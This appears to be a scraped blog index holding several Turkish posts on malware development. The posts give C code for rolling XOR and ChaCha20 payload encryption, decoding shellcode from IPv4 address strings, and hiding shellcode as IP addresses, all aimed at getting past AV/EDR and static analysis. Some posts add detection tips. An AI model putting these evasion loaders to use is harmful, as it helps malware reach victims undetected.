baytları), şifrelendikten sonra da sürekli aynı değeri üretecektir.\nAdvanced Rolling XOR Tek baytlık anahtarın zayıflığını gördük. Güvenlik çözümlerini atlatmak için her baytı farklı bir sonuç üreten bir sisteme ihtiyacımız var.\nBunun için sadece sabit bir değer kullanmak yerine, hem çoklu bayt (Multi-Byte) anahtar dizisinden beslenen hem de bulunduğu konuma göre sürekli şekil değiştiren (Position-Dependent) özel bir Rolling XOR algoritması tercih edeceğiz.\nstatic VOID CustomRollingXor(IN PBYTE dataBuffer, IN SIZE_T dataLen, IN PBYTE keyBuffer, IN SIZE_T keyLen) { SIZE_T keyIndex = 0; for (SIZE_T i = 0; i \u0026lt; dataLen; i++) { // 1. Adım: Sadece o anki konuma (i) özel dinamik maskeyi (salt) hesapla BYTE positionSalt = (BYTE)(i * 0x9B) ^ (BYTE)(i \u0026gt;\u0026gt; 3); // 2. Adım: Veriyi hem anahtarla hem de konum değeriyle XOR\u0026#39;la dataBuffer[i] = dataBuffer[i] ^ keyBuffer[keyIndex] ^ positionSalt; // 3. Adım: Anahtarın indeksini ilerlet, sonuna geldiyse başa sar keyIndex++; if (keyIndex == keyLen) { keyIndex = 0; } } } Bu fonksiyon, sıradan bir XOR\u0026rsquo;u alıp çok daha karmaşık hale getiriyor. Nasıl çalıştığını adım adım açıklayayım:\n1. Multi-Byte ve Başa Saran (Rolling) Anahtar Yapısı (keyIndex) Artık elimizde tek bir şifreleme baytı değil, uzun bir dizi (array) var (örneğin 0xDE, 0xAD, 0xBE, 0xEF gibi). Kodumuzdaki keyIndex sayacı, bu şifre dizisinin üzerinde sırayla ilerliyor. Anahtarın sonuna ulaşıldığında ise if (keyIndex == keyLen) koşulu devreye giriyor ve sayaç sıfırlanıp tekrar anahtarın başına dönüyor. Buna literatürde \u0026ldquo;Rolling\u0026rdquo; işlemi diyoruz; böylece veri ne kadar uzun olursa olsun, anahtarımız sürekli kendini tekrar ederek kesintisiz bir şifreleme sunuyor.\n2. Konum Odaklı Mutasyon (positionSalt) Fonksiyonu asıl güçlü kılan ve statik analiz araçlarını çaresiz bırakan kısım tam olarak burasıdır. Şifreleme işlemine sadece anahtarımızı değil, verinin o anki indeks numarasını (i) da dahil ediyoruz. İşlemin mantığını netleştirmek için bunu positionSalt adlı bir değişkende topladık:\ni * 0x9B: O anki konum değeri, rastgele belirlenmiş bir çarpanla (0x9B) çarpılıyor.\ni \u0026gt;\u0026gt; 3: Ardından aynı konum değeri 3 bit sağa kaydırılarak (bitwise right shift) işleme tekrar XOR\u0026rsquo;lanıyor.\nElde ettiğimiz bu dinamik tuzak, asıl anahtarımızla birleşerek veriye nüfuz ediyor. Bu tekniğin en büyük avantajı şudur: Şifreleyeceğiniz veri bloğunun içinde art arda yüz tane aynı karakter (örneğin 0x41 yani \u0026lsquo;A\u0026rsquo; baytı) olsa bile, her birinin indeksi (i) farklı olduğu için şifrelenmiş halleri birbirinden tamamen farklı olacaktır.\nKendi indeksine göre mutasyona uğrayan bu yapının matematiksel olarak tahmin edilmesi ve kırılması, tek baytlık geleneksel XOR yöntemlerine kıyasla astronomik ölçüde zordur.\nBu Teknik Nasıl Tespit Edilir? 1. Statik Analiz Statik Analiz kısmında yakalayabileceğimiz ipuçları şunlardır:\nŞüpheli Matematiksel İmzalar: Normal bir programda XOR işlemi sıklıkla kullanılabilir. Ancak bir kod bloğunun içinde art arda XOR, MUL (Çarpma) ve SHR (Sağa Kaydırma) komutları bir for döngüsü (CMP ve JMP blokları) içine hapsedilmişse, bu yüksek ihtimalle bir \u0026ldquo;Decryption Stub\u0026rdquo; olarak işaretlenir.\nYüksek Entropi: Zararlı yazılımın .data veya .rsrc bölümlerinde anlamsız, tamamen rastgele karakterlerden oluşan büyük bir veri yığını (yüksek entropi) varsa, o bölümün içerisinde şifrelenme vb bir durum olduğundan şüphelenilir.\n2. Dinamik Analiz Dinamik Analiz kısmında ise şunlara bakılabilir:\nHardware Breakpoint: Statik analizde tespit edilen o yüksek entropili şifreli verinin bellek adresine \u0026ldquo;Hardware Breakpoint\u0026rdquo; atılır.\nDöngüyü Atlama: Kod çalışmaya başladığında ve o veriye dokunulduğunda debugger durur. karmaşık döngünün içine girip adım adım takip etmek (Step Into) yerine, döngünün bittiği ilk satıra breakpoint atar ve program devam ettirilir (Run).\nMemory Dump: Döngü bittiği an program tekrar durur. O süslü Rolling XOR algoritması işini yapmış ve bitirmiştir.bellek penceresine baktığında, şifreli verinin yerinde tamamen çözülmüş (plain-text) asıl zararlı payload\u0026rsquo;u görülürr. Sağ tıklayıp \u0026ldquo;Dump to File\u0026rdquo; diyerek asıl zararlı saniyeler içinde ele geçirilir.\n","permalink":"https://0xgently.github.io/posts/xor/","summary":"\u003ch2 id=\"xor-şifrelemesi\"\u003eXOR Şifrelemesi\u003c/h2\u003e\n\u003cp\u003eMalware geliştirme dünyasında, yazdığınız zararlı yazılımın ömrünü belirleyen en kritik faktörlerden biri \u003cstrong\u003epayload\u0026rsquo;unuzu ne kadar iyi gizleyebildiğinizdir\u003c/strong\u003e. Eğer bir shellcode\u0026rsquo;u veya PE dosyasını belleğe açık (plain-text) bir şekilde gömerseniz, statik analiz araçları ve Antivirüs (AV) imzaları saniyeler içinde sizi yakalayacaktır.\u003c/p\u003e\n\u003cp\u003eİşte tam bu noktada \u003cstrong\u003ePayload Encryption\u003c/strong\u003e devreye girer. Bu yazımızda, zararlı yazılım dünyasının en temel ama en çok modifiye edilen şifreleme mantıklarından birini, \u003cstrong\u003eXOR\u003c/strong\u003e algoritmasını inceleyeceğiz. İşi temelden alıp kompleks (Rolling/Position-Dependent) yapılara doğru evrilteceğiz.\u003c/p\u003e","title":"XOR Şifreleme"},{"content":"IPv4/v6 DeObfuscation Bu yazıda, dışarıdan bakıldığında son derece sıradan görünen bir ağ yapılandırma fonksiyonunun, nasıl bir shellcode decoder\u0026rsquo;a dönüştürüldüğünü inceleyeceğiz. Amacımız, saldıran tarafın zihniyetini anlayarak savunma sistemlerimizi bu tür \u0026ldquo;normal görünen anormallikleri\u0026rdquo; yakalayacak şekilde kurgulamak.\nNot: Bu metinde anlattığım kodun tamamını malware-development-library adresinde bulabilirsiniz. Ayrıca bu konunun mantığını oturtup kodun tam halini incelediğinizde diğer tekniklere uygulanan DeObfuscation işlemlerinide oluşturabilirsiniz. Zaten hemen hemen aynı ya sadece birkaç değişiklik yapmanız gerekmektedir o kadar.\nBu tekniğin merkezinde ntdll.dll içerisinde yer alan RtlIpv4StringToAddressA fonksiyonu bulunuyor. Microsoft\u0026rsquo;un resmi dokümantasyonuna baktığınızda bu fonksiyonun oldukça basit ve tek bir amacı olduğunu görürsünüz: \u0026quot;192.168.1.1\u0026quot; gibi metin tabanlı (string) bir IPv4 adresini almak ve bunu ağ soketlerinde kullanılabilmesi için 4 byte\u0026rsquo;lık ikili (binary) bir struct in_addr yapısına dönüştürmek.\nBizler ise bu fonksiyonu bir ağ yapılandırma aracı olarak değil ,parametre olarak düz metin kabul eden ve geriye 4 byte\u0026rsquo;lık saf makine kodu (hex) üreten, sistemin kalbine yerleştirilmiş hazır bir \u0026ldquo;decoder\u0026rdquo; fonksiyonu olarak göreceğiz.\nNTSTATUS status = pRtlIpv4ToAddr(ObfuscatedIpv4Array[i], FALSE, \u0026amp;pszTerminator, pCurrentWritePos); Buradaki en kritik nokta, 4. parametre olan pCurrentWritePos değişkenidir. API, normal şartlar altında dönüştürdüğü veriyi yazmak için bir struct in_addr* pointer\u0026rsquo;ı bekler. Ancak biz buraya kendi tahsis ettiğimiz bir PBYTE (byte array pointer) veriyoruz.\nYazılım dünyasında bu kavrama Type-Punning denir. C ve C++ dillerinde işletim sistemi, çalışma zamanında (runtime) sizin verdiğiniz pointer\u0026rsquo;ın \u0026ldquo;tipini\u0026rdquo; pek umursamaz; sadece o pointer\u0026rsquo;ın işaret ettiği bellek adresine odaklanır. API, o adrese masum bir ağ konfigürasyonu yazdığını zannederken, biz aslında IP adresi kılığına sokulmuş 4 byte\u0026rsquo;lık shellcode parçamızı doğrudan kendi buffer\u0026rsquo;ımıza yazdırıyoruz.\nif (status != 0x00000000) { HeapFree(GetProcessHeap(), 0, pDecodedBuffer); return NULL; } API herhangi bir sebeple başarısız olursa (örneğin dizideki IP stringi hatalı formattaysa), kod doğrudan panikleyip çıkış yapmıyor. Önce HeapFree ile tahsis ettiği belleği sisteme iade ediyor. Unutmayın; bellek sızıntıları (memory leaks) süreçlerin kararsız çalışmasına neden olur ve modern EDR\u0026rsquo;ların davranışsal analiz (behavioral analysis) radarları bu tür kararsızlıklara karşı oldukça hassastır.\npCurrentWritePos += 4; Döngünün her iterasyonunda, hedef pointer tam olarak 4 byte ileri kaydırılıyor. Çünkü her bir IPv4 adresi matematiksel olarak 32-bit\u0026rsquo;lik (4 byte) bir veri bloğudur. Uygulanan bu basit pointer aritmetiği sayesinde, kodun içinde birbirinden bağımsız birer metin gibi duran onlarca IP adresi, bellekte ardışık ve bütünsel bir shellcode\u0026rsquo;a dönüşmüş oluyor.\nShellcode belleğe başarıyla yazıldıktan sonra burada bir hizalama problemi devreye girer.\nSizin asıl payload\u0026rsquo;unuz —örneğin bir Cobalt Strike beacon\u0026rsquo;ı, bir reverse shell veya özel bir implant— her zaman 4\u0026rsquo;ün tam katı uzunluğunda olmayacaktır. Diyelim ki 201 byte\u0026rsquo;lık bir payload\u0026rsquo;unuz var. Bunu 4 byte\u0026rsquo;lık IP bloklarına bölmek isterseniz, son bloğun eksik kalmaması için sonuna 3 byte\u0026rsquo;lık bir padding eklenmesi gerekir. Payload\u0026rsquo;u hazırlayan araçlar bunu genellikle kriptografide çok sık gördüğümüz PKCS#7 standardına göre yapar.\nEğer loader kodunuz, bellekteki bu fazlalık dolgu byte\u0026rsquo;larını temizlemeden payload\u0026rsquo;u çalıştırmaya kalkarsa, işlemci bu dolgu byte\u0026rsquo;larını birer Assembly talimatı olarak okumaya çalışır. Ve bundan dolayı süreç anında \u0026ldquo;Access Violation\u0026rdquo; veya \u0026ldquo;Illegal Instruction\u0026rdquo; hatası vererek çöker.\nBunu önlemek için payload\u0026rsquo;un sonuna gidip o padding kısmını temizlememiz şart:\nBYTE padValue = pDecodedBuffer[totalBufferSize - 1]; İlk adımda, çözülmüş bellek alanının en sonundaki byte\u0026rsquo;ı okuyoruz. PKCS#7 standardı oldukça basit bir mantığa dayanır: Eklenen padding değeri, hizalamayı sağlamak için eklenen byte sayısına eşittir. Yani payload\u0026rsquo;u 4 byte\u0026rsquo;ın katlarına tamamlamak için 3 byte\u0026rsquo;lık bir padding eklendiyse, son 3 byte 0x03, 0x03, 0x03 olacaktır. Biz sadece son byte\u0026rsquo;ı okuyarak bu padding miktarının ne olduğunu (örneğimizde 3) öğreniyoruz.\nif (padValue == 0 || padValue \u0026gt; 4 || padValue \u0026gt; totalBufferSize) { HeapFree(GetProcessHeap(), 0, pDecodedBuffer); return NULL; } Bu kontrol satırı, kodun güvenliğini ve stabilitesini sağlayan ana unsurlardan biridir. Bir IPv4 adresi en fazla 4 byte olabileceğine göre, uygulanan padding değeri matematiksel olarak sadece 1, 2, 3 veya 4 olabilir. Eğer okuduğumuz padValue 0 ise veya 4\u0026rsquo;ten büyükse, verinin dizilimi bir şekilde bozulmuş demektir. Kod bu durumda körü körüne ilerlemeyi reddedip belleği temizleyerek operasyonu iptal eder.\nfor (BYTE i = 1; i \u0026lt;= padValue; i++) { if (pDecodedBuffer[totalBufferSize - i] != padValue) { HeapFree(GetProcessHeap(), 0, pDecodedBuffer); return NULL; } } Bu verinin gerçekten geçerli bir padding dizilimi olup olmadığını doğrulamamız gerekir. Yukarıdaki döngü, tespit edilen padding boyutu kadar sondan geriye doğru okuma yapar. Eğer padValue 3 ise, geriye dönük okuduğu 3 byte\u0026rsquo;ın hepsinin gerçekten 0x03 olduğunu teyit eder. Biri bile farklıysa ortada bozuk (corrupted) bir veri vardır ve işlem iptal edilir.\n*DecodedSize = totalBufferSize - padValue; Son adımda, başta ayırdığımız toplam buffer boyutundan padding miktarını çıkarıyoruz. Artık elimizde *DecodedSize boyutunda, çalıştırılmaya tamamen hazır, pürüzsüz ve padding byte\u0026rsquo;larından arındırılmış saf bir payload var.\nOfansif güvenlik araştırmalarında işin temeli; işletim sisteminin belleği nasıl yönettiğini bilmek, C dili içerisindeki pointer\u0026rsquo;ların donanımsal karşılığını kavramak ve API\u0026rsquo;lerin tip kontrollerini (type-checking) nasıl kendi lehinize esnetebileceğinizi anlamaktan geçer.\nDışarıdan bakıldığında ağ yöneticileri için yazılmış sıradan bir string dönüştürme fonksiyonunun, biraz pointer aritmetiği ve doğru bir Type-Punning yaklaşımı ile nasıl kusursuz bir shellcode çözücüye dönüştüğünü gördük. Savunma mimarilerini ve malware analizini zorlaştıran şeyler sadece karmaşık şifreleme algoritmaları değil sistemin kendi olağan işleyişini, yine sisteme karşı kullanan bu zarif mühendislik yaklaşımlarıdır.\n","permalink":"https://0xgently.github.io/posts/%C4%B1pv4_deobf/","summary":"\u003ch2 id=\"ipv4v6-deobfuscation\"\u003eIPv4/v6 DeObfuscation\u003c/h2\u003e\n\u003cp\u003eBu yazıda, dışarıdan bakıldığında son derece sıradan görünen bir ağ yapılandırma fonksiyonunun, nasıl bir shellcode decoder\u0026rsquo;a dönüştürüldüğünü inceleyeceğiz. Amacımız, saldıran tarafın zihniyetini anlayarak savunma sistemlerimizi bu tür \u0026ldquo;normal görünen anormallikleri\u0026rdquo; yakalayacak şekilde kurgulamak.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNot\u003c/strong\u003e: Bu metinde anlattığım kodun tamamını \u003ca href=\"https://github.com/0xGently/malware-development-library/tree/main/Payload-Encryption-and-Obfuscation/06-IPv4_IPv6_DeObf\"\u003emalware-development-library\u003c/a\u003e adresinde bulabilirsiniz. Ayrıca bu konunun mantığını oturtup kodun tam halini incelediğinizde diğer tekniklere uygulanan DeObfuscation işlemlerinide oluşturabilirsiniz. Zaten hemen hemen aynı ya sadece birkaç değişiklik yapmanız gerekmektedir o kadar.\u003c/p\u003e","title":"IPv4/IPv6 DeObfuscation"},{"content":"ChaCha20 Şifrelemesi Bu metinde Chacha20 den bahsedeceğim.\nDosya boyutu ve basitlik her şeydir. ChaCha20\u0026rsquo;yi tercih etmemizin tek sebebi var: Küçük, hızlı ve ekstradan deşifre bloğu yazmanıza gerek bırakmıyor.\nPeki neden ChaCha20\u0026rsquo;yi seçiyoruz? Çünkü inanılmaz derecede hızlıdır, işlemcinin özel şifreleme donanımlarına (AES-NI gibi) ihtiyaç duymaz ve C/C++ ile sıfırdan yazması (implementasyonu) çok daha zahmetsizdir. Ayrıca, şifreleme ve deşifreleme (encrypt/decrypt) işlemleri için birebir aynı kodu kullanırız, bu da yazdığımız zararlı yazılımın boyutunu (stub size) küçültür.\nBugün, standart bir ChaCha20 C kodu üzerinden bu işin nasıl çalıştığına bakacağız. Yüzlerce satırlık bellek yönetimi veya hata kontrolleriyle uğraşmadan, algoritmanın sadece en can alıcı 3 noktasına odaklanıyoruz.\nNot: Kodun geri kalanını incelemek isterseniz şu link üzerinden bakabilirsiniz: malware-development-library\n1. Matris Oluşturmak ChaCha20, bir akış şifrelemesidir (Stream Cipher). Amacı, elimizdeki anahtarı (key) kullanarak çok uzun, rastgele gibi görünen bir veri akışı (keystream) üretmektir. Her şey, bellekte 4x4\u0026rsquo;lük (16 kelime / 64 byte) bir tablo (matris) oluşturmamızla başlar.\nKodumuzun chachaInit fonksiyonuna baktığımızda, bu tablonun ilk satırının şu sabit değerlerle doldurulduğunu görüyoruz:\n// 32-byte (256-bit) anahtar için matrisin ilk 4 kelimesi (State) w[0] = 0x61707865; w[1] = 0x3320646E; w[2] = 0x79622D32; w[3] = 0x6B206574; Bu hex değerleri yan yana koyup ASCII\u0026rsquo;ye çevirdiğinizde \u0026ldquo;expand 32-byte k\u0026rdquo; metni ortaya çıkar. Tablonun geri kalanını ise bizim belirlediğimiz 32-byte anahtar (key) ve sayaç/nonce değerleri doldurur.\nNOT: Eğer bir gün Chacha20 dışında bir şifreleme fonksiyonu kullanıp kodun herhangi bir kısmına bu kısmı eklerseniz bu kodu reverse eden kişilerin kafasını karıştırmış yanıltmış olursunuz. Yani en azından işe yararlılığını kesin olarak emin olmamakla birlikte benim aklıma gelen mantıklı bir fikir.\n2. ARX ve Karıştırma İşte güvenliği sağlayan şey, o kurduğumuz tablonun içindeki değerlerin, şifreleme yapılmadan önce çok karmaşık bir matematiksel işlemle birbirine katılmasıdır. Kodun asıl motoru olan QUARTER_ROUND makrosuna yakından bakalım:\n#define QUARTER_ROUND(a, b, c, d) \\ { \\ a += b; \\ d ^= a; \\ d = ROL32(d, 16); \\ c += d; \\ b ^= c; \\ b = ROL32(b, 12); \\ a += b; \\ d ^= a; \\ d = ROL32(d, 8); \\ c += d; \\ b ^= c; \\ b = ROL32(b, 7); \\ } Dikkat ederseniz burada sadece üç basit işlem var: Toplama (+=), XOR (^=) ve Sola Kaydırma (ROL32). Kriptografi dünyasında buna ARX mimarisi denir. İşlemciyi hiç yormaz ama veriyi karmaşık derecede bir hale getirir.\nPeki bu makro tabloya nasıl uygulanıyor? chachaProcessBlock fonksiyonunda şu yapıyı görürüz:\n// Önce Sütunlar karıştırılır... QUARTER_ROUND(w[0], w[4], w[8], w[12]); QUARTER_ROUND(w[1], w[5], w[9], w[13]); QUARTER_ROUND(w[2], w[6], w[10], w[14]); QUARTER_ROUND(w[3], w[7], w[11], w[15]); // ...sonra Çapraz (Diagonal) elemanlar karıştırılır. QUARTER_ROUND(w[0], w[5], w[10], w[15]); QUARTER_ROUND(w[1], w[6], w[11], w[12]); QUARTER_ROUND(w[2], w[7], w[8], w[13]); QUARTER_ROUND(w[3], w[4], w[9], w[14]); Bu yapı tabloyu tam 20 kez (ChaCha20 adı buradan gelir) kendi içinde toplar, kaydırır ve XOR\u0026rsquo;lar. Algoritma 10 kez sütunları, 10 kez de çapraz değerleri işleme sokar. Tıpkı bir Rubik küpünü 20 kez rastgele çevirmek gibi düşünebilirsiniz. Ortaya çıkan Keystream (anahtar akışı) o kadar karışıktır ki, orijinal parolayı bilmeden işlemi geri döndürmek imkansızdır.\n3. Payload\u0026rsquo;u Şifrelemek Tabloyu kurduk, Rubik küpünü çevirip Keystream\u0026rsquo;i (rastgele akan veriyi) ürettik. Şimdi asıl amacımıza, yani zararlı payload\u0026rsquo;umuzu şifrelemeye geldik.\nŞifrelemenin gerçekleştiği yer sadece şu küçücük for döngüsüdür (Kodun chachaCipher fonksiyonu içerisinde):\n// Payload (input) ile Keystream\u0026#39;i (k) XOR\u0026#39;la for(i = 0; i \u0026lt; n; i++) { output[i] = input[i] ^ k[i]; } Hazırladığımız o mükemmel karmaşıklıktaki Keystream (k), bizim orijinal payload\u0026rsquo;umuz (input) ile byte byte XOR (^) işlemine sokulur. Ve tebrikler, artık elinizde tamamen şifrelenmiş, hafızada anlamsız görünen bir veri (output) var.\nBaşta da söylediğim gibi XOR simetrik bir işlemdir. Hedef makinede bu payload\u0026rsquo;u çalıştırmak istediğinizde, aynı anahtarla aynı akışı üretir ve şifreli veriyi tekrar XOR\u0026rsquo;larsınız. Orijinal kodunuz belleğe açılır ve çalışmaya hazır hale gelir. Ekstra bir deşifreleme (decryptor) fonksiyonu yazmanıza gerek yoktur.\nTüm bunların haricinde linkteki koda bakarsanız burada anlattığımdan çok daha uzun olduğunu görürsünüz. Bu kadar kısa bırakmamın sebebi koddan ziyade şifreleme yönteminin mantığını anlatabilmekti. Bu anlattığım kod blokları haricinde kalan kısımlar ise üstünkörü şu şekildedir:\nMatrisin Doldurulma İşlemi w[4] = LOAD32LE(key); w[5] = LOAD32LE(key + 4); w[6] = LOAD32LE(key + 8); w[7] = LOAD32LE(key + 12); ....... Sadece bir veri paketleme (parsing) işlemidir. Dışarıdan verdiğiniz anahtar (key) ve nonce değerleri, tek parça uzun bir veri dizisidir. ChaCha20\u0026rsquo;nin yapısı 32-bit\u0026rsquo;lik kutucuklardan oluştuğundan burada if else bloklarında önce genel olarak anahtar 128 bit mi (16 byte) yoksa 256 bit mi (32 byte) bakılır. Sonrasında Nonce değeri 64 bit mi, 96 bit mi yoksa 128 bit mi diye bakılır. Bu boyutları kontrol ettikten sonrada LOAD32LE (Load 32-bit Little Endian) fonksiyonu yardımıyla bu uzun veriyi 4\u0026rsquo;er byte\u0026rsquo;lık parçalara böler ve matrisin (w dizisinin) ilgili hücrelerine doğru formatta yerleştirir.\nChachaDeinit Fonksiyonu void chachaDeinit(ChachaContext *context) { //Clear ChaCha context osMemset(context, 0, sizeof(ChachaContext)); } Bu fonksiyonun tek bir amacı vardır: İşlem bittikten sonra RAM i temizlemek. Kriptografik işlemlerde, şifreleme anahtarının veya \u0026ldquo;State\u0026rdquo; matrisinin işlem bittikten sonra bellekte kalması güvenlik riski oluşturur. osMemset, bu yapının (struct) içini tamamen sıfırlarla doldurarak verileri güvenli bir şekilde siler.\nToparlarsak ChaCha20, mantığı aslında çok basittir. \u0026ldquo;Tabloyu kur, veriyi ARX ile karıştır, payload ile XOR\u0026rsquo;la.\u0026rdquo; Bütün mantık budur.\n","permalink":"https://0xgently.github.io/posts/chacha20/","summary":"\u003ch2 id=\"chacha20-şifrelemesi\"\u003eChaCha20 Şifrelemesi\u003c/h2\u003e\n\u003cp\u003eBu metinde Chacha20 den bahsedeceğim.\u003c/p\u003e\n\u003cp\u003eDosya boyutu ve basitlik her şeydir. ChaCha20\u0026rsquo;yi tercih etmemizin tek sebebi var: \u003cstrong\u003eKüçük, hızlı ve ekstradan deşifre bloğu yazmanıza gerek bırakmıyor.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ePeki neden ChaCha20\u0026rsquo;yi seçiyoruz? Çünkü inanılmaz derecede hızlıdır, işlemcinin özel şifreleme donanımlarına (AES-NI gibi) ihtiyaç duymaz ve C/C++ ile sıfırdan yazması (implementasyonu) çok daha zahmetsizdir. Ayrıca, şifreleme ve deşifreleme (encrypt/decrypt) işlemleri için birebir aynı kodu kullanırız, bu da yazdığımız zararlı yazılımın boyutunu (stub size) küçültür.\u003c/p\u003e","title":"Chacha20 Şifreleme"},{"content":"IPv4/IPv6 Obfuscation Siber güvenlik dünyasında bir veriyi saklamak istediğimizde önümüzde genellikle iki temel yol olur: Ya veriyi doğrudan şifreleriz (AES, RC4 veya XOR gibi) ya da onu karmaşıklaştırırız (obfuscation).\nYazılım geliştirirken kodu zorlaştırmak bazen sadece fikri mülkiyeti korumak için değil, güvenlik mekanizmalarını aşmak için de kritik bir rol oynar. Örneğin elimizde bir shellcode var ve bunu gizlemek istiyoruz. İlk akla gelen çözüm şifreleme olsa da bu her zaman en akıllıca yol olmayabilir. Çünkü şifrelenmiş veriler, dosyanın o bölümündeki entropiyi (rastgelelik oranını) tavan yaptırır ve bu durum güvenlik analizcilerinin ya da AV/EDR çözümlerinin hemen radarına takılır. İşte bu noktada, dikkat çekmeden karmaşıklaştırmak çok daha mantıklı bir seçeneğe dönüşüyor.\nPeki ya bu shellcode\u0026rsquo;u alıp, sanki son derece masum bir ağ yapılandırma dosyasıymış gibi gösterebilseydik? Bu yazıda tam olarak bunu yapacağız. Shellcode\u0026rsquo;umuzu parçalara ayırıp, her bir parçayı standart bir IPv4 adresi (192.168.1.1 gibi) string\u0026rsquo;ine dönüştüreceğiz. Böylece dosyamızın içinde şüpheli hex değerleri yerine, yüzlerce masum IP adresi görünecek.\nNot: Bu metinde anlattığım kodun tamamını malware-development-library adresinde bulabilirsiniz. Ayrıca bu konunun mantığını kavrayınca diğer tekniklerin (Mac,Uuid obfuscatıon) işleyişide birebir aynı.\n1. GeneratePkcs7Padding Fonksiyonu Bir IPv4 adresi tam olarak 4 byte\u0026rsquo;tan oluşur (Örn: 192.168.1.1 -\u0026gt; C0 A8 01 01). Ancak msfvenom veya Cobalt Strike gibi araçlardan ürettiğiniz bir shellcode\u0026rsquo;un boyutunun tam olarak 4\u0026rsquo;ün katı olma garantisi yoktur. Örneğin, 275 byte\u0026rsquo;lık bir shellcode\u0026rsquo;unuz varsa ve bunu 4\u0026rsquo;erli gruplara bölerseniz en sona 3 byte kalır. Program o son IP adresini oluşturmaya çalışırken 4. byte\u0026rsquo;ı bulamayacağı için bellek hatası verir ve çöker.\nBunu önlemek için shellcode\u0026rsquo;umuzun sonunu güvenli byte\u0026rsquo;larla (padding) doldurup, toplam boyutu 4\u0026rsquo;ün tam katına eşitlememiz gerekiyor. Sadece bu işlemi yapacak bir fonksiyonumuz olacak ve bu fonksiyon, shellcode\u0026rsquo;un byte sayısını 4\u0026rsquo;ün katına tam bölünecek hale getirecek. İşlemi yapacak olan fonksiyonumuza GeneratePkcs7Padding adını verelim. Bu fonksiyon bizden ham shellcode\u0026rsquo;un adresini ve boyutunu alacak.\nKoda geçmeden önce, işimizi kolaylaştıracak ve kodun okunabilirliğini artıracak sabitlerimizi (macro) tanımlayalım:\n#define IPV4_ALIGNMENT 4 // Bir IPv4 adresi oluşturmak için shellcode\u0026#39;dan 4 byte almalıyız Şimdi GeneratePkcs7Padding adını verdiğimiz fonksiyonun bir kısmına bakalım:\nuint8_t padValue = (uint8_t)(IPV4_ALIGNMENT - (originalSize % IPV4_ALIGNMENT)); Diyelim ki shellcode\u0026rsquo;umuzun boyutu (originalSize) 275 byte olsun. 275 % 4 işlemi bize 3 kalanını verir. 4 - 3 = 1 işlemini de yaptığımızda, eklememiz gereken padding miktarının 1 byte olacağını anlıyoruz ve bu değeri padValue adlı değişkenimize atıyoruz.\nsize_t newBufferSize = originalSize + padValue; // newBufferSize kadar bellek ayırıyoruz uint8_t* paddedBuffer = (uint8_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newBufferSize); if (!paddedBuffer) return NULL; Ardından orijinal boyuta bu 1 byte\u0026rsquo;ı ekleyip (newBufferSize = 276) bellekte yerimizi ayırıyoruz. İşte buradaki ufak bir detay hayat kurtarıyor: HeapAlloc fonksiyonunu HEAP_ZERO_MEMORY flag\u0026rsquo;i ile çağırdığımız için Windows bize sadece yer ayırmakla kalmıyor, o alanın içindeki tüm byte\u0026rsquo;ları otomatik olarak sıfırlıyor (0x00).\nBiz orijinal shellcode\u0026rsquo;umuzu buraya kopyaladığımızda üzerine eklenen padding ile 276 byte olacak. Artık payload\u0026rsquo;umuz 4\u0026rsquo;e tam bölünecek şekilde hazır!\n2. ConvertBytesToIP Fonksiyonu Şimdi sıra, bu 4 byte\u0026rsquo;lık parçaları alıp onlardan 255.255.255.255 formatında stringler üretecek olan ConvertBytesToIP fonksiyonumuza geldi.\nBirçok kötü yazılmış kod, her seferinde işletim sisteminden yeni bir bellek dilenir. Biz performans kaybetmemek için hafıza tahsis işini bu fonksiyonun dışına taşıyacağız. Bu fonksiyon sadece \u0026ldquo;dışarıdan verilen bir metin kutusuna (buffer)\u0026rdquo; çeviri yapacak.\nElimizdeki hex değerlerini noktalarla ayrılmış decimal sayılara çevirmek için standart C kütüphanesinin güvenli fonksiyonlarından snprintf veya sprintf_s kullanıyoruz:\nsprintf_s(outIpString, bufferSize, \u0026#34;%d.%d.%d.%d\u0026#34;, pBytes[0], pBytes[1], pBytes[2], pBytes[3]); Diyelim ki shellcode\u0026rsquo;umuzdan sırası gelen 4 byte 0xFC, 0x48, 0x83, 0xE4 olsun. sprintf_s fonksiyonu bu hex değerlerini sırasıyla ondalık tabana çevirir ve aralarına nokta koyarak outIpString içerisine yazar. Artık shellcode\u0026rsquo;umuz içerisindeki o 4 byte 252.72.131.228 IP adresine dönüşür!\n3. PayloadIPv4Array Fonksiyonu Hazırlık aşamalarını tamamladık; elimizde 4\u0026rsquo;ün katlarına tam bölünebilen bir veri ve bu veriyi IP adresine çeviren bir fonksiyon var. Şimdi geriye kalan tek şey, bu süreci baştan sona yönetecek, veriyi bloklar halinde okuyup ekrana basacak olan ana kontrol mekanizmasını yazmak.\n// 1. Padding fonksiyonumuzu çağırıp hizalanmış verimizi alıyoruz uint8_t* paddedData = GeneratePkcs7Padding(rawData, rawSize, \u0026amp;paddedSize); // 2. Kaç adet 4 byte\u0026#39;lık parça (chunk) elde edeceğimizi hesaplıyoruz size_t chunkCount = paddedSize / 4; İlk adımda GeneratePkcs7Padding fonksiyonumuzu çağırıyor ve hizalanmış veriyi doğrudan paddedData isimli pointer\u0026rsquo;ımıza alıyoruz. Hemen altındaki satırda ise basit bir matematik dönüyor: Eğer padding işlemi sonucunda elimizde 276 byte\u0026rsquo;lık hizalanmış bir veri oluştuysa, 276 / 4 = 69 işlemi sayesinde toplamda tam 69 adet IPv4 adresi (chunkCount) elde edeceğimizi hesaplıyoruz.\n// Döngü içinde sürekli bellek ayırmamak için Stack\u0026#39;te sabit bir alan açıyoruz char ipStackBuffer[16]; // Her bir 4 byte\u0026#39;lık parçayı IP formatına çeviren döngümüz for (size_t i = 0; i \u0026lt; chunkCount; i++) { ConvertBytesToIP(\u0026amp;paddedData[i * 4], ipStackBuffer, sizeof(ipStackBuffer)); // ... (Elde edilen string\u0026#39;i ekrana yazdırma işlemleri) } Açtığımız for döngüsü, toplamda elde ettiğimiz miktar kadar dönecek ve her dönüşte veriyi adım adım işleyecek. Burada en önemli detay char ipStackBuffer[16] satırıdır. Döngü içinde sürekli işletim sisteminden bellek isteyip programı yavaşlatmak yerine, işlemcinin yığınında (stack) 16 karakterlik sabit bir yer açarız ve her döngüde içindeki yazıyı değiştiririz. Bu, devasa bir performans ve temizlik adımıdır.\nAsıl veri üzerinde gezinme işlemi ise \u0026amp;paddedData[i * 4] mantığında yatıyor. Bellekteki o ham veri yığınının içinde adım adım şunlar gerçekleşiyor:\nBirinci adımda (i = 0): 0 * 4 = 0 hesabı yapılır ve 